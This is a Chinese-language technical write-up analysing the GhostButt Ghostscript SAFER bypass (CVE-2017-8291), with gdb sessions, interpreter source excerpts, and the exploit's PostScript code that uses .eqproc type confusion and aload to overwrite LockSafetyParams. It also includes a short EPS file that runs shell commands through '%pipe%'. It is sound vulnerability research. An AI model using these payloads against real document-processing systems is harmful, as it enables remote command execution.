作者:binjo
- GhostButt - CVE-2017-8291利用分析
- .rsdparams Type Confusion?
- .eqproc Type Confusion
- aload Manipulating o_stack
- SAFER Bypass
- 后記
- 禪(xian)定(zhe)時刻
- 參考
GhostButt - CVE-2017-8291利用分析
HipChat于2017年4月24日發出一篇博文1, 聲明其檢測到一起安全事件,一臺云端Server受某第三方庫存在的漏洞而被入侵。隨后twitter網友根據其補丁情況2,猜測是Ghostscript的SAFER模式bypass。HD Moore隨后3建了個GhostButt.com網站4,使之成為又一個有名的漏洞。 Ghostscript是一個流行的PostScript語言的解析器,許多軟件的某些組件都信賴它來完成相應功能,因而也會受Ghostscript漏洞影響。本文以Metasploit的相關exploit5為例進行深入分析,基于Ghostscript 9.21及Debain 64bit系統,讀者可從Ghostscript官網下載存在漏洞的源碼6。
推薦以debug模式編譯,生成符號,方便后續調試。
$ cd ghostscript-9.21
$ ./autogen.sh
$ make debug
$ ./debugbin/gs --version
9.21
.rsdparams Type Confusion?
參照CVE-2017-8291在MITRE上的說明7,漏洞是在.rsdparams操作符中存在type confusion。
Artifex Ghostscript through 2017-04-26 allows -dSAFER bypass and remote command execution via .rsdparams type confusion with a "/OutputFile (%pipe%" substring in a crafted .eps document that is an input to the gs program, as exploited in the wild in April 2017.
按其補丁8,可知.rsdparams operator實現在psi/zfrsd.c中的zrsdparams函數中。然而,對zrsdparams下斷點,卻發現并沒有命中,程序已經輸出vulnerable字樣了。
$ gdb -q ./debugbin/gs
Loaded 108 commands. Type pwndbg [filter] for a list.
Reading symbols from ./debugbin/gs...done.
pwndbg> set args -q -dNOPAUSE -dSAFER -sDEVICE=ppmraw -sOutputFile=/dev/null -f ../CVE-2017-8291.eps
pwndbg> b zrsdparams
Breakpoint 1 at 0x6e0c49: file ./psi/zfrsd.c, line 48.
pwndbg> r
Starting program: /root/Desktop/ghostscript-9.21/debugbin/gs -q -dNOPAUSE -dSAFER -sDEVICE=ppmraw -sOutputFile=/dev/null -f ../CVE-2017-8291.eps
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New process 24818]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
process 24818 is executing new program: /bin/dash
Error in re-setting breakpoint 1: Function "zrsdparams" not defined.
vulnerable
[Inferior 2 (process 24818) exited normally]
由exploit源碼已知echo vulnerable是通過/OutputFile %pipe%管道轉向形成的,在源碼中搜索pipe可知其實現在base/gdevpipe.c中的pipefope函數中,調用了popen。對popen設斷點,觀察調用棧可驗證在#8 frame處zoutputpage函數即.outputpapge操作符調用時已經利用成功。
pwndbg> b popen
Breakpoint 1 at 0x116780
pwndbg> r
Starting program: /root/Desktop/ghostscript-9.21/debugbin/gs -q -dNOPAUSE -dSAFER -sDEVICE=ppmraw -sOutputFile=/dev/null -f ../CVE-2017-8291.eps
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, _IO_new_popen (command=0x55555705dc5e "echo vulnerable"..., mode=0x7fffffffc1a4 "w") at iopopen.c:273
Breakpoint popen
pwndbg> bt
#0 _IO_new_popen (command=0x55555705dc5e "echo vulnerable"..., mode=0x7fffffffc1a4 "w") at iopopen.c:273
#1 0x000055555566da63 in pipe_fopen (iodev=0x55555701c928, fname=0x55555705dc5e "echo vulnerable"..., access=0x7fffffffc1a4 "w", pfile=0x55555705ec70, rfname=0x0, rnamelen=0) at ./base/gdevpipe.c:60
#2 0x0000555555aa7e99 in gx_device_open_output_file (dev=0x55555705a838, fname=0x55555705dc58 "%pipe%echo vuln"..., binary=1, positionable=0, pfile=0x55555705ec70) at ./base/gsdevice.c:1232
#3 0x0000555555854b8b in gdev_prn_open_printer_seekable (pdev=0x55555705a838, binary_mode=1, seekable=0) at ./base/gdevprn.c:1294
#4 0x0000555555853fbe in gdev_prn_output_page_aux (pdev=0x55555705a838, num_copies=1, flush=1, seekable=0, bg_print_ok=1) at ./base/gdevprn.c:1002
#5 0x000055555585467a in gdev_prn_bg_output_page (pdev=0x55555705a838, num_copies=1, flush=1) at ./base/gdevprn.c:1149
#6 0x00005555559ac1e4 in ppm_output_page (pdev=0x55555705a838, num_copies=1, flush=1) at ./devices/gdevpbm.c:315
#7 0x0000555555aa50d5 in gs_output_page (pgs=0x555556ff8798, num_copies=1, flush=1) at ./base/gsdevice.c:210
#8 0x0000555555c9a7f1 in zoutputpage (i_ctx_p=0x555557014d90) at ./psi/zdevice.c:369
#9 0x0000555555c538b0 in do_call_operator (op_proc=0x555555c9a6fa <zoutputpage>, i_ctx_p=0x555557014d90) at ./psi/interp.c:86
#10 0x0000555555c562f9 in interp (pi_ctx_p=0x555556fc4f30, pref=0x7fffffffcd90, perror_object=0x7fffffffce60) at ./psi/interp.c:1314
#11 0x0000555555c5410a in gs_call_interp (pi_ctx_p=0x555556fc4f30, pref=0x7fffffffcd90, user_errors=1, pexit_code=0x7fffffffce78, perror_object=0x7fffffffce60) at ./psi/interp.c:511
#12 0x0000555555c53f16 in gs_interpret (pi_ctx_p=0x555556fc4f30, pref=0x7fffffffcd90, user_errors=1, pexit_code=0x7fffffffce78, perror_object=0x7fffffffce60) at ./psi/interp.c:468
#13 0x0000555555c459ec in gs_main_interpret (minst=0x555556fc4e90, pref=0x7fffffffcd90, user_errors=1, pexit_code=0x7fffffffce78, perror_object=0x7fffffffce60) at ./psi/imain.c:243
#14 0x0000555555c46a16 in gs_main_run_string_end (minst=0x555556fc4e90, user_errors=1, pexit_code=0x7fffffffce78, perror_object=0x7fffffffce60) at ./psi/imain.c:661
#15 0x0000555555c468e0 in gs_main_run_string_with_length (minst=0x555556fc4e90, str=0x555557019d50 "<2e2e2f4356452d"..., length=50, user_errors=1, pexit_code=0x7fffffffce78, perror_object=0x7fffffffce60) at ./psi/imain.c:619
#16 0x0000555555c46852 in gs_main_run_string (minst=0x555556fc4e90, str=0x555557019d50 "<2e2e2f4356452d"..., user_errors=1, pexit_code=0x7fffffffce78, perror_object=0x7fffffffce60) at ./psi/imain.c:601
#17 0x0000555555c4a45a in run_string (minst=0x555556fc4e90, str=0x555557019d50 "<2e2e2f4356452d"..., options=3) at ./psi/imainarg.c:979
#18 0x0000555555c4a3d5 in runarg (minst=0x555556fc4e90, pre=0x555555de00a3 "", arg=0x7fffffffde99 "../CVE-2017-829"..., post=0x555555de025d ".runfile", options=3) at ./psi/imainarg.c:969
#19 0x0000555555c4a0b0 in argproc (minst=0x555556fc4e90, arg=0x7fffffffde99 "../CVE-2017-829"...) at ./psi/imainarg.c:902
#20 0x0000555555c4836a in gs_main_init_with_args (minst=0x555556fc4e90, argc=8, argv=0x7fffffffda88) at ./psi/imainarg.c:238
#21 0x000055555566aa51 in main (argc=8, argv=0x7fffffffda88) at ./psi/gs.c:96
#22 0x00007ffff67562b1 in __libc_start_main (main=0x55555566a9e0 <main>, argc=8, argv=0x7fffffffda88, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffda78) at ../csu/libc-start.c:291
#23 0x000055555566a8da in _start ()
所以,漏洞究竟在哪呢?在講解具體漏洞前,為方便理解下文,先簡單介紹一下postscript語言及Ghostscript解析postscript的操作數堆棧相關變量。 PostScript是一種圖靈完全的編程語言,也是一種基于堆棧的解釋語言9, 它類似于Forth語言但是使用從Lisp語言派生出的數據結構。代碼示例請參考wikipedia中的具體描述,或其官方文檔。postscript語言使用操作數堆棧(operator stack)保存操作數,在Ghostscript實現中,變量名osbot,osp和ostop分別代表operator stack的棧底、棧指針及棧頂,其堆棧是處于heap內存中,且從低地址向高地址生成、使用的。
.eqproc Type Confusion
經過調試,漏洞就在.eqproc這個操作符的實現里,其調用方式如下,它從operator stack上取得兩個操作數,對其進行比較,再返回一個boolean值,壓入operator stack棧。
<proc1> <proc2> .eqproc <bool>
由于未對取得操作數的type進行驗證,導致operator stack上的任意操作數都可以拿來比較。有經驗的讀者可能已經發現問題所在,通過loop循環調用.eqproc,該type confusion漏洞可以導致operator stack的堆棧指針上溢。注意上溢后,后續的操作數入棧等寫入操作都可以認為是一個受限的寫原語(write primitive)。
static int
zeqproc(i_ctx_t *i_ctx_p)
{
os_ptr op = osp;
ref2_t stack[MAX_DEPTH + 1];
ref2_t *top = stack;
make_array(&stack[0].proc1, 0, 1, op - 1); // get two operands
make_array(&stack[0].proc2, 0, 1, op);
......
/* An exit from the loop indicates that matching failed. */
make_false(op - 1); // limited write primitive
pop(1);
return 0;
}
aload Manipulating o_stack
一個堆棧指針上溢能怎么利用呢?本exploit其實利用了另一個操作符aload,使得堆棧指針被更新到一個string buffer后續的heap上,通過上溢及寫原語,攻擊者可以推斷后續osp棧指針相對地址,從而通過string操作后續入棧的對象,改寫其屬性。個人認為,這是利用成功的關鍵,且并未得到修補。
<array> aload <obj_0> ... <obj_n-1> <array>
當array實例的size超過當前operator stack空余空間時,zaload會通過ref_stack_push調用進行內存分配,重新分配棧空間后改寫堆棧指針osp。相關代碼處于psi/zarray.c的zaload函數定義中。
if (asize > ostop - op) { /* Use the slow, general algorithm. */
int code = ref_stack_push(&o_stack, asize);
uint i;
const ref_packed *packed = aref.value.packed;
if (code < 0)
return code;
for (i = asize; i > 0; i--, packed = packed_next(packed))
packed_get(imemory, packed, ref_stack_index(&o_stack, i));
*osp = aref;
return 0;
}
代碼雖少,不如調試器中看得直觀。我們修改原exploit如下,添加print語句,調試器中設置斷點在zprint,去GDB中一探究竟。
buffers
(xxx) print
pop % discard buffers on operator stack
enlarge array aload
(after aload) print
GDB中對zprint設斷點,繼續執行后,我們檢查operator stack的棧底、棧指針及對應buffers在內存中的內容:
pwndbg> b zprint
Breakpoint zprint
pwndbg> p osbot // current operator stack bottom
$2 = (s_ptr) 0x555556ffd7b8
pwndbg> p osp // current operator stack pointer
$3 = (s_ptr) 0x555556ffd7c8
pwndbg> x/4gx osbot
0x555556ffd7b8: 0x0000006f0000047e 0x0000555557291de0 // buffers
0x555556ffd7c8: 0x0000000356fc127e 0x000055555784c7fd // xxx string
pwndbg> p r_type((ref *)$2) == t_array
$4 = 1
pwndbg> x/10gx 0x0000555557291de0 + 111*0x10 - 0x30 // 111 items
0x5555572924a0: 0x0000fa0056fc127e 0x00005555578dc028
0x5555572924b0: 0x0000fbf456fc127e 0x00005555578ee9c4
0x5555572924c0: 0x0000fde856fc127e 0x0000555557901580 // last item
0x5555572924d0: 0x0000000000000c00 0x0000000000000000
0x5555572924e0: 0x0000002800000000 0x00005555560b6740
pwndbg> x/10gx 0x0000555557901580 + 65000 - 0x30 // last item string buffer, size 65000
0x555557911338: 0x0000000000000000 0x0000000000000000
0x555557911348: 0x0000000000000000 0x0000000000000000
0x555557911358: 0xffffffffffffffff 0xffffffffffffffff // mark bytes
0x555557911368: 0x0000000000000000 0x0000000000000000
0x555557911378: 0x0000000000000000 0x0000000000000000
aload操作符執行完畢后,再次檢查棧底和棧指針,可以確認均已經指向前面分配的string buffer內存之后了。
pwndbg> c
Breakpoint zprint
pwndbg> p osbot
$5 = (s_ptr) 0x555557914448 // osbot under 0x0000555557901580!!!
pwndbg> p osp
$6 = (s_ptr) 0x555557916178 // osp under 0x0000555557901580!!!
pwndbg> x/2gx osp
0x555557916178: 0x0000000b56fc127e 0x00005555572940c3
pwndbg> p (char *)0x00005555572940c3
$7 = 0x5555572940c3 "after aload\006?"
SAFER Bypass
棧指針被重新分配后,便可以利用前述的.eqproc操作符進去上溢了。利用代碼中,其分配了一個buffersearchvars array來保存搜索用變量,循環檢查所有buffers里的string字符串末尾的0xff是否被修改,從而判定上溢的棧指針osp到達可控范圍,與string buffer重疊。利用string buffer改寫后續入棧的currentdevice對象屬性,使之成為一個較大的string,保存至sdevice array中,再覆蓋其LockSafetyParams屬性,達到SAFER模式bypass。該利用中分別覆寫了內存偏移0x3e8,0x3b0和0x3f0處內容為0(false),但在我的環境中,0x3b0和0x3f0處內容始終為0,估計是其它版本或系統中LockSafetyParams的偏移有所不同。
{
.eqproc
buffersearchvars 0 buffersearchvars 0 get 1 add put
buffersearchvars 1 0 put
buffersearchvars 2 0 put
buffercount {
buffers buffersearchvars 1 get get
buffersizes buffersearchvars 1 get get
16 sub get
254 le { % 0xFF overwritten?
buffersearchvars 2 1 put % yes
buffersearchvars 3 buffers buffersearchvars 1 get get put
buffersearchvars 4 buffersizes buffersearchvars 1 get get 16 sub put
} if
buffersearchvars 1 buffersearchvars 1 get 1 add put
} repeat
buffersearchvars 2 get 1 ge {
exit
} if
%(.) print
} loop
.eqproc
.eqproc
.eqproc
sdevice 0 % store ref of converted device object
currentdevice
(before convert to string type) print
buffersearchvars 3 get buffersearchvars 4 get 16#7e put % 0x127e, string type
buffersearchvars 3 get buffersearchvars 4 get 1 add 16#12 put
buffersearchvars 3 get buffersearchvars 4 get 5 add 16#ff put % size, 0xffxxxxxx
(convert done) print
put
sdevice 0 get
16#3e8 0 put % LockSafetyParams offset
sdevice 0 get
16#3b0 0 put % other version/os offset?
sdevice 0 get
16#3f0 0 put % other version/os offset?
(LockSafetyParams -> 0) print
話不多說,繼續調試器中見真章。
Breakpoint zprint
pwndbg> p osp
$8 = (s_ptr) 0x555557911368 // 棧指針上溢,與string buffer重疊
pwndbg> x/4gx $8-1
0x555557911358: 0xffffffffffff1378 0x000055555705a838 // 0xFF 已經被后續入棧的currentdevice覆蓋
0x555557911368: 0x0000001d56fc127e 0x000055555729409e
pwndbg> p (char *)0x000055555729409e
$9 = 0x55555729409e "before convert "...
pwndbg> p r_type((ref *)0x555557911358) == t_device // 當前依然是device對象
$10 = 1
pwndbg> p (gx_device *)0x000055555705a838
$11 = (gx_device *) 0x55555705a838
pwndbg> p $11->LockSafetyParams // 表明處于SAFER模式中
$12 = 1
pwndbg> c
Breakpoint zprint
pwndbg> x/4gx osp-1
0x555557911358: 0xffffffffffff127e 0x000055555705a838 // 0x127e 寫入
0x555557911368: 0x0000000c56fc127e 0x000055555729408a
pwndbg> p r_type((ref *)0x555557911358) == t_string // 成為string對象
$13 = 1
pwndbg> p/x r_size((ref *)0x555557911358)
$14 = 0xffffffff
pwndbg> p (char *)0x000055555729408a
$15 = 0x55555729408a "convert done\261?"
pwndbg> x/2gx 0x000055555705a838 + 0x3e8
0x55555705ac20: 0x0000000000000001 0x0000000000000000 // 0x3e8處內存尚未改寫
pwndbg> c
Breakpoint zprint
pwndbg> x/2gx osp
0x555557911338: 0x0000001556fc127e 0x000055555729406d
pwndbg> p (char *)0x000055555729406d
$16 = 0x55555729406d "LockSafetyParams -> 0\262?"
pwndbg> x/2gx 0x000055555705a838 + 0x3e8
0x55555705ac20: 0x0000000000000000 0x0000000000000000
pwndbg> p (gx_device *)0x000055555705a838
$17 = (gx_device *) 0x55555705a838
pwndbg> p $17->LockSafetyParams // 改寫成功,SAFER bypassed
$18 = 0
至此,SAFER模式bypass成功,但利用代碼還需繼續調用aload,重新分配棧空間以免garbage collect時崩潰,最后通過.putdeviceparams設置好/OutputFile為(%pipe%echo vulnerable > /dev/tty)字符串,并調用.outputpage飛向光明之巔!
后記
GhostButt利用一個type混淆漏洞,及operand stack棧指針再分配指向可控內存,從而轉化成棧指針上溢,使其可以混淆device對象為一個字符串,最終覆蓋device的LockSafetyParams屬性,達到SAFER模式bypass。其利用可以認為是TK教主的點穴大法,或者說yuange的DVE攻擊。不到100行的postscript利用代碼,精彩漂亮!而aload操作符的問題并沒有被修補,配合其它漏洞,依然可以使用該方法進行利用。
許久沒寫文章,疏漏在所難免,歡迎到微博聯系指正。@binjo_ 歡迎轉發分享,或者打賞一杯咖啡錢。二維碼 :)
禪(xian)定(zhe)時刻
不指定-dSAFER模式下,device->LockSafetyParams默認是false,9.21版本下依然可以執行%pipe%管道命令,可是最新版本Ghostscript卻不行了,這是為啥呢?
$ cat /root/test.eps
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100
currentdevice null false mark /OutputFile (%pipe%echo vulnerable > /dev/tty)
.putdeviceparams
1 true .outputpage
0 0 .quit
$ ./debugbin/gs -q -dNOPAUSE -sDEVICE=ppmraw -sOutputFile=/dev/null -f /root/test.eps
vulnerable
$ cd /root/repos/ghostpdl
$ git log -1
commit 3ded6c3b28a1b183a492ada2f2a3970953f3d060
Author: Henry Stiles <henry.stiles@artifex.com>
Date: Sun May 28 21:27:41 2017 -0600
Increment the PJL stream pointer for illegal characters.
When an illegal character is encountered within a PJL command we exit
with end of job. With recent changes it is necessary to increment the
stream pointer as well because the PJL interpreter is reinvoked upon
UEL resulting in an infinite loop.
$ ./debugbin/gs -q -dNOPAUSE -sDEVICE=ppmraw -sOutputFile=/dev/null -f /root/test.eps
Error: /undefined in .putdeviceparams
Operand stack:
--nostringval-- --nostringval-- false --nostringval-- OutputFile (%pipe%echo vulnerable > /dev/tty)
Execution stack:
%interp_exit .runexec2 --nostringval-- --nostringval-- --nostringval-- 2 %stopped_push --nostringval-- --nostringval-- --nostringval-- false 1 %stopped_push 1967 1 3 %oparray_pop 1966 1 3 %oparray_pop --nostringval-- 1950 1 3 %oparray_pop 1836 1 3 %oparray_pop --nostringval-- %errorexec_pop .runexec2 --nostringval-- --nostringval-- --nostringval-- 2 %stopped_push --nostringval--
Dictionary stack:
--dict:969/1684(ro)(G)-- --dict:0/20(G)-- --dict:82/200(L)--
Current allocation mode is local
Current file position is 148
GPL Ghostscript GIT PRERELEASE 9.22: Unrecoverable error, exit code 1
參考
1 https://blog.hipchat.com/2017/04/24/hipchat-security-notice/
2 https://twitter.com/wdormann/status/857217642377216000
3 https://webcache.googleusercontent.com/search?q=cache:sWyjlQKRdxcJ:https://twitter.com/hdmoore/status/858093464663326721
5 https://github.com/rapid7/metasploit-framework/pull/8316
6 https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs921/ghostscript-9.21-linux-x86_64.tgz
7 http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2017-8291
8 https://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=04b37bbce174eed24edec7ad5b920eb93db4d47d
9 https://zh.wikipedia.org/wiki/PostScript
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/310/
暫無評論